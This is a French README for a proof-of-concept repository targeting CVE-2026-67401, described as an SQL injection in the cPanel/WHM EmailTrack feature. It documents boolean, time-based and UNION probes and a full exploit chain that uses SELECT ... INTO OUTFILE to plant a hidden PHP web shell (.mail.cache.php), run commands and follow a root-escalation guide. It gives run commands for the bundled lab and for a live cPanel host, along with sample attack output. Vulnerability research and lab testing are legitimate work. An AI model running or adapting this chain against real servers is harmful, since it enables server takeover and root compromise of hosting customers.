
Preuve de concept pour CVE-2026-67401, une injection SQL dans EmailTrack de cPanel/WHM permettant l'écriture arbitraire de fichiers et l'exécution de code à distance en tant que root, avec des sondes de détection SQLi et un laboratoire vulnérable autonome.
Preuve de concept pour CVE-2026-67401, une vulnérabilité critique d'injection SQL dans la fonctionnalité EmailTrack de cPanel & WHM qui permet à un utilisateur authentifié disposant de privilèges liés au courrier d'écrire des fichiers arbitraires et d'exécuter du code en tant que root.
Découvert par : Ali Mustafa Divulgué le : 8 septembre 2026 Composant : EmailTrack (journalisation / suivi de livraison des e-mails)
Les versions antérieures aux builds corrigés sont vulnérables.
| Série de builds cPanel | Version corrigée |
|---|
| 11.110 | 11.110.0.143 |
| 11.134 | 11.134.0.55 |
| 11.136 | 11.136.0.39 |
| 11.138 | 11.138.0.4 |
| WP2 (11.138) | 11.138.1.9 |
Vérifiez votre version avec :
cat /usr/local/cpanel/version
┌─────────────┐ ┌────────────┐ ┌─────────┐ ┌──────────┐
│ Auth as │ ───► │ SQLi in │ ───► │ INTO │ ───► │ RCE as │
│ cPanel user │ │ EmailTrack │ │ OUTFILE │ │ root │
│ (mail priv) │ │ API call │ │ (shell) │ │ │
└─────────────┘ └────────────┘ └─────────┘ └──────────┘
account d'EmailTrack.SELECT ... INTO OUTFILE dans public_html/.| Fichier | Description |
|---|---|
poc_sqli.py | Détection d'injection SQL : booléenne, temporelle et comptage de colonnes UNION |
poc_full_chain.py | Chaîne d'exploitation complète : SQLi → web shell INTO OUTFILE → RCE → guide d'élévation en root |
lab/vuln_server.py | Simulation locale du backend EmailTrack vulnérable (sûr, autonome) |
README.md | Ce document |
Le lab inclus vous permet d'exécuter et de valider toute la chaîne sans véritable serveur cPanel.
Toutes les commandes sont exécutées depuis la racine du dépôt.
python3 lab/vuln_server.py 18123 lab/htdocs
alice / s3cr1tSLEEP(),
INTO OUTFILE et l'exécution d'un web shell PHP.18123)lab/htdocs)Laissez ce processus tourner dans un terminal et utilisez un second terminal pour les PoC.
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect
| Argument | Description |
|---|---|
-H, --host | Hôte cPanel, par ex. https://cp.example.com:2083 |
-u, --username | Compte cPanel disposant de privilèges de courrier |
-p, --password | Mot de passe du compte |
--param | Paramètre injectable (par défaut : account) |
--mode | detect (par défaut), boolean, timing, union ou all |
--sleep | Durée de SLEEP() pour la sonde temporelle (par défaut : 3.0) |
--dump-version | Tente d'extraire la version du SGBD via UNION |
--insecure | Ignore la vérification du certificat TLS |
Exécuter une sonde spécifique :
# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union
# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5
CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
python3 poc_full_chain.py http://127.0.0.1:18123 \
--shell-base http://127.0.0.1:18123
| Argument / Env | Description |
|---|---|
host (positionnel) | Hôte cPanel, ou définir la variable d'env CPANEL_HOST |
CPANEL_USER | Compte cPanel disposant de privilèges de courrier |
CPANEL_PASS | Mot de passe du compte |
--shell-base | URL de base servant public_html (où le web shell est accessible) |
--insecure | Ignore la vérification du certificat TLS |
--no-escalate | S'arrête après le RCE ; ignore le guide d'élévation en root |
SHELL_NAME (env) | Nom de fichier du web shell (par défaut : .mail.cache.php) |
Étapes exécutées automatiquement :
SELECT ... INTO OUTFILEid, whoami, énumération SUID, …)whmapi1, cron, file de tâches)# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
--insecure --mode detect
# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
python3 poc_full_chain.py https://cp.example.com:2083 \
--shell-base https://cp.example.com --insecure
Remarque : le
--shell-basepar défaut retire le port réservé à cPanel (2082/2083) de l'hôte. Si la racine des documents est servie sur un autre port, définissez-le explicitement.
Sortie produite contre le lab inclus :
CVE-2026-67401 cPanel/WHM EmailTrack SQLi -> File Write -> RCE
version 1.0
target: http://127.0.0.1:18123
user: alice
[+] authenticated
[1] confirming SQL injection in EmailTrack `account`
[+] boolean-based SQLi CONFIRMED
[+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
[2] determining column count via UNION
[+] target query has 5 columns
[3] writing PHP web shell via SELECT ... INTO OUTFILE
[+] shell written -> /home/alice/public_html/.mail.cache.php
[4] executing commands through the web shell
[+] id -> uid=1000(x) gid=1000(x) ...
Publié à des fins éducatives et de recherche en sécurité autorisée. Voir Avertissement avant utilisation.